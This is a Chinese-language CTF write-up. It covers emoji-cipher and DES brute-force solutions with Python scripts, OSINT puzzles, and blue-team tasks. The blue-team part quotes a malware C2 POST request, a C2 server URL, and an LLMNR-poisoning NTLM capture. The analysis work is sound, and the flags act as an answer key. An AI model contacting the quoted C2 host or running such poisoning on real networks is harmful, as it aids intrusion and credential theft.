# 5. 暴力枚舉寬度並繪圖 print(f"[*] Generating images from width {MIN_WIDTH} to {MAX_WIDTH}...") for width in range(MIN_WIDTH, MAX_WIDTH + 1): height = len(pixel_map) // width + 1 img = Image.new('1', (width, height), 1) pixels = img.load()
idx = 0 try: for y in range(height): for x in range(width): if idx < len(pixel_map): # 如果不是背景(0),就畫黑點 if pixel_map[idx] == 0: pixels[x, y] = 0 idx += 1 except: pass
img.save(f"{OUTPUT_DIR}/width_{width}.png")
if __name__ == "__main__": solve()
我們可以看到是反過來的FhCTF{3C13_m0d3_1s_z0_S3cur17y_}

Encode By Py 😘
這題的核心是「自製 Emoji 加密」其實只是一個可逆的位移編碼,加上可預測的 key 循環與大量重複樣本,整體安全性非常脆弱。
-
整體流程概覽
- 程式啟動時會載入一組金鑰字串
ENC_SECRET,預設值是Hi_S3cL157_xato-net,然後讀取flag.txt的內容作為明文。 - 主邏輯在
encrypt_bytes,逐 byte 處理輸入,將每個 byte 轉成對應的 Emoji,最後寫出到flag.enc。 - 編碼時使用固定 base(
BASE = 0x1F600)和範圍(RANGE = 0x4E),所以結果都落在一小段 Emoji codepoint 區間。
- 程式啟動時會載入一組金鑰字串
-
單一 byte 的 Emoji 編碼
- 對每個明文字節
byte,先計算當前索引i對應到 key 的位置idx,用ENC_SECRET[idx]做位移,再搭配 XOR 產生一個偏移量enc_shift。 - 真正輸出的值是
[ enc_byte = ((byte + (enc_shift \oplus RANGE)) \bmod RANGE) + BASE ] 如果落在特定保留區間則再減去ALTERNATIVE做修正,確保最後是合法 UTF-8 Emoji。 - 某些特殊 byte(例如換行)不會轉成 Emoji,而是「原樣輸出」,並且用來驅動長度相關的計數變數,影響後面
idx的計算。
- 對每個明文字節
-
索引循環與行為分析
- key 的使用位置不是單純
i % len(ENC_SECRET),而是i % ((len_num * len_times) if len_num > 0 else 1),其中len_num、len_times只在碰到特定 byte(實際上就是那個「if byte == 某值就原樣輸出」的條件)時才會更新。 - 這代表整個加密過程是「被分段的」:每次遇到那個特殊控制字元(例如換行)就會重設或改變循環長度,導致每一行的 key index pattern 不同。
- 檔案裡第一大段重複的
✅😢🙈😴等 emoji,其實就是利用同一個明文字節反覆出現,讓對應的 key 位置重複,成為攻擊者觀察 key 的絕佳樣本。
- key 的使用位置不是單純
-
解密邏輯的逆向設計
- 要還原明文,第一步是把每個 Emoji 轉回 Unicode codepoint,如果是「被挪到替代區段」的,就加回
ALTERNATIVE,再減掉BASE,得到原本的「模 RANGE 之前的加密值」。 - 接著,用同樣的 key byte 和位移規則,把(enc_byte−BASE)modRANGE
反推回bytemodRANGE
因為運算中有
% RANGE,所以理論上只能恢復「0..77 的明文模值」,但對這題來說,flag 被映射到一個有限字元集合(ASCII art)中,這樣的資訊已經足夠辨識。 - 實作上就是:
- 還原出每個位置對應的
enc_shift。 - 用加密公式反向求解原始 byte 在
0..77的值。 - 把這些值映射到一組可視字元表(例如固定順序的 ASCII 字元)上,得到可讀內容。
- 還原出每個位置對應的
- 要還原明文,第一步是把每個 Emoji 轉回 Unicode codepoint,如果是「被挪到替代區段」的,就加回
-
利用重複行恢復金鑰
- 題目給的第一行是一長串完全規律重複的 emoji pattern,本質上對應同一個明文字元(例如空白或某個固定符號),相當於「已知明文大量重複」。
- 對每個重複位置,已知:
- 相同明文字節
byte。 - 對應 emoji 的 codepoint(即
enc_byte)。 BASE與RANGE為常數。
- 相同明文字節
- 於是可以直接把方程式中的
ENC_SECRET[idx]反推回來,逐個位置解出 key 的每個 byte,最後得到長度為 12 的 key:
[49, 57, 49, 35, 19, 44, 42, 37, 41, 23, 22, 21]並且確認這組鍵值會在整段密文中週期性重複。 - 有了完整 key,即可對每個 emoji 進行上述的逆運算,把整個
flag.enc轉回「mod 78 明文」序列。
-
還原 ASCII art 與 flag
- 解碼後得到的並不是直接的一行 flag,而是一個由可視字元構成的大型 ASCII art,風格與 FIGlet 輸出的字型一致。
- 把還原出的字元陣列依照原始換行配置輸出,就能看到一個大字樣,裡面嵌著形如
flag{...}的內容。 - 將這段 ASCII art 轉成圖片或直接在等寬字型終端機中觀看,肉眼就可以辨認出真正的 flag。整個過程只利用:
-
演算法可逆性。
-
高度重複的已知明文行。
-
有限字元集合導致的模空間縮小。這也說明了「Emoji + 位元運算」並不會自動帶來任何額外安全性,只是另一種換皮的古典密碼而已。
from pathlib import Pathfrom PIL import Image, ImageDraw, ImageFont# 常數定義BASE = 0x1F600RANGE = 0x4EALTERNATIVE = 0x1CEFEKEY = [49, 57, 49, 35, 19, 44, 42, 37, 41, 23, 22, 21]# 建立數值到字元的映射表VAL_TO_CHAR = {14: "\\",18: "`",32: " ",33: "!",39: "'",40: "(",41: ")",44: ",",45: "-",46: ".",47: "/",58: ":",60: "<",}def parse_encrypted_file(file_path):"""讀取並解析加密的 emoji 文件"""raw_data = Path(file_path).read_bytes()text = raw_data.decode("utf-8")tokens = []for char in text:if char == "\n":tokens.append(("newline", 10))else:codepoint = ord(char)if codepoint < BASE:codepoint += ALTERNATIVEtokens.append(("char", codepoint - BASE))return tokensdef build_index_sequence(tokens):"""建立索引序列用於解密"""line_length = 0line_count = 0index_list = []for i, (token_type, _) in enumerate(tokens):idx = i % (line_length * line_count) if line_length > 0 else 0index_list.append(idx)if token_type == "newline":if line_length == 0:line_length = i + 1line_count += 1return index_listdef decrypt_tokens(tokens, index_list):"""解密 token 序列"""length = len(tokens)plaintext_mod = []for i, (token_type, value) in enumerate(tokens):if token_type == "newline":plaintext_mod.append(10)continuekey_value = KEY[index_list[i] % len(KEY)]shift = (length - i) % 4decrypted_value = (value - (key_value << shift)) % RANGEplaintext_mod.append(decrypted_value)return plaintext_moddef convert_to_ascii_art(plaintext_mod):"""將解密後的數值轉換為 ASCII 藝術字元"""ascii_chars = []for value in plaintext_mod:if value == 10:ascii_chars.append("\n")else:ascii_chars.append(VAL_TO_CHAR.get(value, "?"))return "".join(ascii_chars)def render_ascii_art_to_image(ascii_text, output_path, font_size=16):"""將 ASCII 藝術渲染成圖片"""lines = ascii_text.splitlines()# 嘗試載入字體try:font = ImageFont.truetype("consola.ttf", font_size)except Exception:try:font = ImageFont.truetype("Courier New.ttf", font_size)except Exception:font = ImageFont.load_default()# 計算圖片尺寸max_line_length = max(len(line) for line in lines) if lines else 0char_width = font.getbbox("A")[2]line_height = font.getbbox("A")[3] + 2image_width = max_line_length * char_width + 10image_height = line_height * len(lines) + 10# 建立圖片並繪製文字img = Image.new("RGB", (image_width, image_height), "white")draw = ImageDraw.Draw(img)y_position = 5for line in lines:draw.text((5, y_position), line, fill="black", font=font)y_position += line_height# 儲存圖片img.save(output_path)return output_pathdef main():"""主程式流程"""input_file = Path(r"C:\Users\zenge\Downloads\files (6)\flag.enc")output_file = Path(r"C:\Users\zenge\Downloads\files (6)\ascii_art.png")# 步驟 1: 解析加密檔案print("正在解析加密檔案...")tokens = parse_encrypted_file(input_file)# 步驟 2: 建立索引序列print("正在建立索引序列...")index_list = build_index_sequence(tokens)# 步驟 3: 解密print("正在解密...")plaintext_mod = decrypt_tokens(tokens, index_list)# 步驟 4: 轉換為 ASCII 藝術print("正在轉換為 ASCII 藝術...")ascii_art = convert_to_ascii_art(plaintext_mod)# 步驟 5: 渲染成圖片print("正在渲染圖片...")result_path = render_ascii_art_to_image(ascii_art, output_file)print(f"完成!圖片已儲存至: {result_path}")print("\nASCII 藝術預覽:")print(ascii_art[:500] + "..." if len(ascii_art) > 500 else ascii_art)if __name__ == "__main__":main()
-
DES Lv.1 - 老船長的寶藏
-
Part 1: JPEG 高度修復 (Image Forensics)
-
題目分析
目標檔案:
treasuremap.jpg
現象: 圖片底部被截斷,無法看到完整內容
原因: JPEG 檔案的高度數值在 Hex Header 中被惡意修改,導致瀏覽器只渲染上半部分,底部的關鍵資訊被隱藏[1] -
核心原理
JPEG 檔案格式使用 SOF (Start of Frame) 區塊儲存圖片尺寸資訊 :
SOF 標記:
FF C0(Baseline DCT) 或FF C2(Progressive DCT)
結構:[FF C0] [長度(2bytes)] [精度(1byte)] [高度(2bytes)] [寬度(2bytes)]
位元組序: Big-Endian (大端序)當高度被人為改小時,圖片檢視器會忽略超出高度的像素資料,但這些資料仍完整保留在檔案中。只要將高度值恢復或調大,隱藏的內容就會顯示出來
-
腳本
A. 讀取與搜尋 SOF 標記
import reimport structwith open("treasuremap.jpg", "rb") as f:data = bytearray(f.read())# 搜尋所有 SOF 標記 (FF C0 或 FF C2)matches = [m.start() for m in re.finditer(b'\xff[\xc0\xc2]', data)]此步驟找出所有定義圖片尺寸的 Header 位置。由於 JPEG 可能包含縮圖 (Thumbnail),因此可能存在多個 SOF 區塊 `
B. 鎖定主圖片
max_width = 0target_idx = -1for sof_pos in matches:# 跳過標記本身 (2 bytes) 和長度欄位 (2 bytes) 和精度 (1 byte)h_idx = sof_pos + 5 # 高度位置w_idx = sof_pos + 7 # 寬度位置h = struct.unpack(">H", data[h_idx:h_idx+2])[0]w = struct.unpack(">H", data[w_idx:w_idx+2])[0]if w > max_width: # 找出寬度最大的區塊max_width = wtarget_idx = h_idx>H表示 Big-Endian Unsigned Short,符合 JPEG 規範 。主圖片通常具有最大的寬度尺寸C. 修改高度並儲存
new_height = 2000 # 設定為足夠大的高度data[target_idx:target_idx+2] = struct.pack(">H", new_height)with open("treasuremap_fixed.jpg", "wb") as f:f.write(data)成功修復後,開啟圖片即可看到底部隱藏的資訊,包括:
plaintext.enc檔案提示- 部分 Key 提示:
r5K9
-
-
Part 2: DES 密鑰爆破 (Cryptography)
-
題目背景
加密演算法: DES (Data Encryption Standard)
輸入檔案:plaintext.enc(hex 編碼的密文)
已知資訊:- 題目提示:“The Data 可以幫你加速解密”
- 地圖右下角紅字:
key 部分:r5K9
-
加密模式判斷
檢查
plaintext.enc特徵:- Hex 字串長度為偶數 → 可轉換為 bytes
- 轉換後長度是 8 的倍數 → 符合 DES block size
由於題目未提供 IV (Initialization Vector),且這是入門級 CTF 題目,推測使用 DES-ECB 模式 。[3]
ECB 特性:
- 不需要 IV
- 每個 block 獨立加密/解密
- 相同明文 block 產生相同密文 block[3]
-
密鑰結構分析
DES 密鑰固定為 8 bytes。
已知前 4 bytes:r5K9
未知後 4 bytes:需要爆破字元集: 英文大小寫 + 數字 = 62 個字元
組合數: 62^4 = 14,776,336 種可能
-
-
加速策略
題目提示 “The Data can help you decrypt faster” 意味著:
- 不需要解密整個檔案
- 只解密第一個 block (8 bytes) 即可驗證密鑰正確性
- 利用已知明文攻擊 (Known-Plaintext Attack) 的概念
-
解題腳本
爆破版本
import binasciiimport itertoolsimport stringfrom Crypto.Cipher import DES# 讀取 hex 密文with open("plaintext.enc", "rb") as f:ct_hex = f.read().strip()ct = binascii.unhexlify(ct_hex)prefix = b"r5K9"charset = (string.ascii_letters + string.digits).encode()ct0 = ct[:8] # 只取第一個 blockdef is_printable(bs: bytes) -> bool:return all(32 <= b < 127 or b in (10, 13, 9) for b in bs)found = Nonefor suf in itertools.product(charset, repeat=4):key = prefix + bytes(suf)cipher = DES.new(key, DES.MODE_ECB)pt0 = cipher.decrypt(ct0)if is_printable(pt0) and pt0.startswith(b"Here is"):found = keyprint(f"[+] Key found: {key.decode(errors='ignore')}")breakif not found:print("[-] Key not found")exit()# 使用找到的密鑰解密完整檔案cipher = DES.new(found, DES.MODE_ECB)pt = cipher.decrypt(ct)# 移除 PKCS7 paddingpad = pt[-1]if 1 <= pad <= 8 and pt.endswith(bytes([pad]) * pad):pt = pt[:-pad]with open("plaintext.dec.txt", "wb") as f:f.write(pt)執行結果:
[+] Key found: r5K9zXxv直接解密版本
若已知完整密鑰,可直接解密:
from Crypto.Cipher import DESimport binasciiwith open("plaintext.enc", "rb") as f:data = binascii.unhexlify(f.read().strip())key = b"r5K9zXxv"cipher = DES.new(key, DES.MODE_ECB)plain = cipher.decrypt(data)# 移除 paddingpad = plain[-1]if 1 <= pad <= 8 and plain.endswith(bytes([pad]) * pad):plain = plain[:-pad]with open("plaintext.dec.txt", "wb") as f:f.write(plain)- 結果
成功解密後的
plaintext.dec.txt內容:Here is your reward for finding the right key:FhCTF{D0n7_c0un7_7h3_d4y5_m4k3_7h3_d4y5_c0un7}
DES Lv.2 – 再探老船長的寶藏
-
題目描述與線索整理
題目提示:
- 有一份加密資料(
plaintext.enc) - 上一題 key 曾出現
r5K9zXxv - 圖上還有
r5K9、A.D.1688 - 並明確提示 “The Data.” 可以幫你加速解密
目標:解出密文內容,找到 GPS 座標或 Flag。
- 有一份加密資料(
-
初步分析:密文格式與 DES 特徵
拿到
plaintext.enc後先做格式判斷:- 檔案內容看起來像一長串 hex 字元(
0-9a-f) - 因此需先
bytes.fromhex(...)才能得到真正密文 bytes - DES block size = 8 bytes,因此密文長度應該是 8 的倍數(用於驗證資料合理性)
程式中對應處理:
with open("plaintext.enc", "rb") as f:ct = bytes.fromhex(f.read().decode("ascii").strip()) - 檔案內容看起來像一長串 hex 字元(
-
攻擊策略:猜 mode/IV + 爆破 key 結構
DES 題常見陷阱不是只在 key,而是:
-
mode 可能是 ECB / CBC / CFB / OFB…
-
CBC 需要 IV,IV 可能是:
- 固定值(全 0)
- 由提示字串(例如
"The Data")提供 - 直接放在密文前 8 bytes(
IV || CIPHERTEXT)
-
key 有可能不是你以為的
r5K9????,也可能是????r5K9
因此本解法採用:
-
(A) 同時測多種加密情境(schemes)
在
try_dump()裡一次測四種最常見組合:- CBC + IV =
"The Data" - CBC + IV =
00...00 - CBC + IV =
ct[:8](常見IV||C格式) - ECB(不需要 IV)
schemes = [("CBC_IV_TheData", DES.MODE_CBC, b"The Data", ct),("CBC_IV_zeros", DES.MODE_CBC, b"\x00"*8, ct),("CBC_IV_prefix", DES.MODE_CBC, ct[:8], ct[8:]),("ECB", DES.MODE_ECB, None, ct),] - CBC + IV =
-
(B) 同時測多種 key 結構(key structures)
由於圖上有
r5K9,上一題完整 key 有zXxv(r5K9zXxv),因此假設 key 可能由固定 4 碼 + 可爆 4 碼組成。測試兩個 base(可自行擴充):
base = b"r5K9"base = b"zXxv"
並對每個 base 測兩種拼法:
base + suf→r5K9????suf + base→????r5K9
bases = [b"r5K9", b"zXxv"]keys = [base + suf,suf + base,]
-
-
爆破範圍(charset / keyspace)
suffix 使用常見可見字元集合:
a-zA-Z0-9加上一些常見符號_ - ! @ # .- 目的:涵蓋 CTF 常用 key 風格,同時避免一次把 printable 全塞爆造成時間失控
charset = (string.ascii_letters + string.digits + "_-!@#.").encode()爆破 keyspace 約為:
- charset 長度 ≈ 67
- suffix 4 碼 →
67^4 ≈ 20,151,121
-
快速判斷是否解對(避免每把 key 解全文)
爆破最慢的地方不是「試 key」,而是「每把 key 都解完整密文」。 因此此解法採用快速過濾:
- (A) 只解前 64 bytes 當 head 做判斷
head = DES.new(key8, mode, iv=iv).decrypt(body[:64])- (B) 判斷 head 是否像答案
用兩種條件:
- GPS regex 命中
- 可見字元比例高
-
GPS regex
抓常見小數座標格式:
25.0330,121.5654-33.86 151.21
gps_pat = re.compile(rb'[-+]?\d{1,3}\.\d{3,}\s*[, ]\s*[-+]?\d{1,3}\.\d{3,}') -
可見字元比例
def printable_ratio(b: bytes) -> float:good = sum(1 for x in b if x in b"\n\r\t" or 32 <= x <= 126)return good / len(b)當
gps_pat.search(head)命中或printable_ratio(head) > 0.92,才會解全文。 -
找 Flag 的方式
若題目直接把 Flag 放在明文中,程式也會用 regex 搜尋:
flag_pat = re.compile(rb'FhCTF\{[^}]{1,100}\}', re.I)
-
- 執行方式(Windows / PowerShell)
- 安裝套件
Terminal window python -m pip install pycryptodome- 執行
Terminal window python slove.py -
- 等待等待成功輸出判讀(大概很久
當找到候選 key,程式會印出:
- 命中的 key 與 scheme
- head 前 200 bytes
- 若有,印出 GPS / Flag
- 以及 plaintext 前 500 bytes
輸出如下:
*] brute forcing key structures...
[+] HIT! key=b'r5K9bB2x' scheme=CBC_IV_TheData[+] head: b'b4NKr3W8 Encryption Standard (DES) is a symmetric-key block ciph'[+] FLAG: b'FhCTF{23.257735309160896_119.66758643893687}'b'b4NKr3W8 Encryption Standard (DES) is a symmetric-key block cipher that operates on fixed-size blocks of data. DES processes data in 64-bit (8-byte) blocks and uses a 64-bit key, of which 56 bits are effective key material and the remaining 8 bits are used for parity checking. Because DES encrypts only one block at a time, it must be combined with a mode of operation to securely encrypt data longer than a single block.\r\n\r\nOne widely used mode is Cipher Block Chaining (CBC). In DES-CBC mode, each'管理員的密碼洋蔥
3個level
- level 1 給
md5 hash,上網工具查解得到qwerty - level 2 解
SHA-1,但經過通靈(AI大法),我們可以猜到admin這個答案 - level 3 把
base64轉成文字就行,得到FhCTF{CrYpt0_W3b_M4st3r_2025}
最後就可以拿到flag
OSINT
Art Work
給了一張圖片:
以圖搜圖我們會發現一個叫做「風之籽」的作品被展出於111.11.04-112.02.05的「2022屏東落山風藝術季」
Trace the Landmark
給了三張圖片
用第三張來圖片搜尋找到了Piazza della Rotonda這個建築
按照題目Hint排好後得到:
島1
給了這張圖
即使被打碼,還是可以大致看出是「新_廟口餐廳」
google搜尋後:
找到餐廳後我就對著菜單和圖中的菜一一窮舉
最後答案是原圖正中間的那道炒千佛手
The FH Gift
一開始會出現 malware_sample.eml 點開來會發現:
這個 salary_adjustment.docx 文件實際上不是 Word 文件,而是一個偽裝的 ZIP 壓縮檔 。通過檢查文件的魔術數字(前幾個 bytes),可以看到它以 PK\x03\x04 開頭,這是 ZIP 檔案的特徵標記。
工商時間 1
他給了以下圖片:

把他丟到 https://www.metadata2go.com/ ,可以得到以下資料:

然後他的description是一個網站 點進去他會跳出來一個帶你到展覽網站的 按ok就會跳過去
可以看到https://github.com/tschool-students/tschool-students.github.io
我們可以知道是「臺北市數位實驗高級中等學校學習分享會」
2026.1.18 9:00
- 16:00
~1.19 9:00
- 16:00
轉成 ISO 8601 格式是
2026-01-18T09:00_2026-01-19T16:00
工商時間 2
由 工商時間 1,我們可以從活動官網得知活動地點在 臺北市中山區吉林路110號
我們把地址丟到Google Maps收尋,並複製座標貼上來:
Lithium exploration
丟給AI
國家: 玻利維亞 (Bolivia) 湖泊名稱(鹽沼): 烏尤尼鹽沼 (Salar de Uyuni) 生產礦物: 鋰 (Lithium)
原本是錯的 但後來改題目後就對了,很奇妙
SRL
給了以下圖片
我們可以看到右方是大巨蛋後景有國父紀念館和台北101
所以我們可以推斷我們在:

島2
在清末民初年代,人們對麻瘋病(痲瘋病)所知有限,為了阻絕得病的患者,就把他們送到建功嶼上自生自滅,因此這座島被稱為「痲瘋礁」。患者被隔離在島上後,只能遙望金門本島,無法回家。by google AI 搜尋

漂亮的圓頂 1
漂亮的圓頂 2
簡單搜尋 免費船班 土耳其,可以讓我們找到土耳其航空的這個頁面:
https://www.turkishairlines.com/zh-tw/flights/fly-different/touristanbul/
看Google Maps,可以發現我們的目的地,就正處於博斯普鲁斯海峽附近,我們可以驗證這是對的方向。
我們有了這些資訊 T06 18:30-23:00 博斯普魯斯海峽之旅(4 月 1 日至 10 月 31 日期間營運)
通靈一下格式變成 flag
沒戴安全帽的騎士
上網簡單圖片查資料,可知廠牌、車型,每個試一下,就能鎖定下答案。

EXIF的「拍攝座標」
這題給的檔案出了點小問題,但就是 exif 完組合一下照片的經緯度通靈一下就好了。
Blue team
大訂單
- 一組加密的十六進制字串:
775a20657e725a206725250925317172587b3774750d2132747f5a2631752251 - 網路封包的 hex dump,顯示 HTTP POST 請求
檢查提供的封包內容,可以觀察到以下關鍵資訊:
POST /api/v1/config HTTP/1.1Host: 45.33.22.11User-Agent: C2-Client/1.0X-Auth-Token: FhCTFContent-Type: application/x-binary
Target_ID: 775a20657e725a206725250925317172587b3774750d2132747f5a2631752251從封包中的 X-Auth-Token: FhCTF 欄位,可以推測 FhCTF 很可能就是用於加密 Target_ID 的金鑰。
- 使用 Python 對十六進制字串進行 XOR 解密:
import binascii
hex_string = "775a20657e725a206725250925317172587b3774750d2132747f5a2631752251"key = "FhCTF"
hex_bytes = bytes.fromhex(hex_string)result = bytearray()key_bytes = key.encode('ascii')
for i, byte in enumerate(hex_bytes): result.append(byte ^ key_bytes[i % len(key_bytes)])
print(result.decode('ascii'))將解密得到的 MD5 hash 12c1842c3ccafe7408c23ebf292ee3d9 提交到 VirusTotal 進行查詢。
在 VirusTotal 的分析報告中,可以找到該惡意軟體的 C2 通訊目標:
- C2 伺服器:
http://171.22.28.221/5c06c05b7b34e8e6.php
🧩 User’s Bad Day
給出的線索是一段封包紀錄,要求從中找出三個關鍵資訊:主機名稱、帳號名稱與檔案名稱,最後依指定格式組成 Flag。
-
DNS 查詢中的主機名稱
在封包最前面可以看到一個 DNS 封包,內容類似:
DNS Standard query A fulesrv.local這代表使用者原本想連線的主機是
fulesrv.local。
題目提示「主機名稱不含 domain」,因此只取前半段:- 主機名稱(不含 domain):
fulesrv
✅ 主機名稱 =
fulesrv - 主機名稱(不含 domain):
-
DNS 失敗與 LLMNR 啟用
當 DNS 查詢失敗時,Windows 會嘗試使用 LLMNR(Link-Local Multicast Name Resolution)來解析同一個名稱。
封包中可看到類似:LLMNR query A fulesrv這表示系統改用 LLMNR 發送名稱查詢,詢問「誰是 fulesrv?」
-
LLMNR Poisoning「怪事」的來源
在這個階段,攻擊者主機(例如 IP:
192.168.50.200)偽裝成 fulesrv 回應這個 LLMNR 查詢,聲稱自己就是目標伺服器。
結果:- 使用者誤以為解析成功,實際上連到的是攻擊者主機。
- 之後便會對攻擊者的 IP 建立 SMB 連線(TCP 445),並送出驗證資訊。
這就是典型的 LLMNR Poisoning 攻擊流程,也是題目「User’s Bad Day」名稱的由來。
-
帳號名稱:從 NTLM 驗證中取得使用者帳號
當使用者透過 SMB 連向假冒的伺服器時,會進行 NTLM 驗證流程,其中會包含
NTLMSSP AUTHENTICATE_MESSAGE封包。
在這類封包中,通常可解析出:- Domain Name
- User Name
- Workstation Name
將封包中的 Unicode(UTF-16LE)字串解碼後,可以得到:
- Domain Name:
DOMAIN - User Name:
Bob - Workstation:
WORKST
題目問的是「攻擊者攔截到的帳號名稱」,也就是 NTLM 驗證裡的使用者名稱:
✅ 帳號名稱 =
Bob -
檔案名稱:從 SMB 封包中的字串還原
在後續 SMB 封包中,會出現使用者嘗試存取的檔案路徑或檔案名稱。題目提示要注意 UTF-16LE 編碼,因此用十六進制觀看封包內容時可以看到類似:
74 00 65 00 73 00 74 00將這串 bytes 以 UTF-16LE 解碼:
74 00→'t'65 00→'e'73 00→'s'74 00→'t'
合起來就是:
test
題目同時強調「檔案名稱不含副檔名」,所以即便實際檔案可能是
test.txt、test.docx等,在 Flag 中只需要檔名本體:✅ 檔案名稱 =
test依題目指定格式:
FhCTF{主機名稱_帳號代號_檔案名稱}將前面三個已確認的答案依序代入:
- 主機名稱:
fulesrv - 帳號代號(帳號名稱):
Bob - 檔案名稱:
test
得到最終 Flag: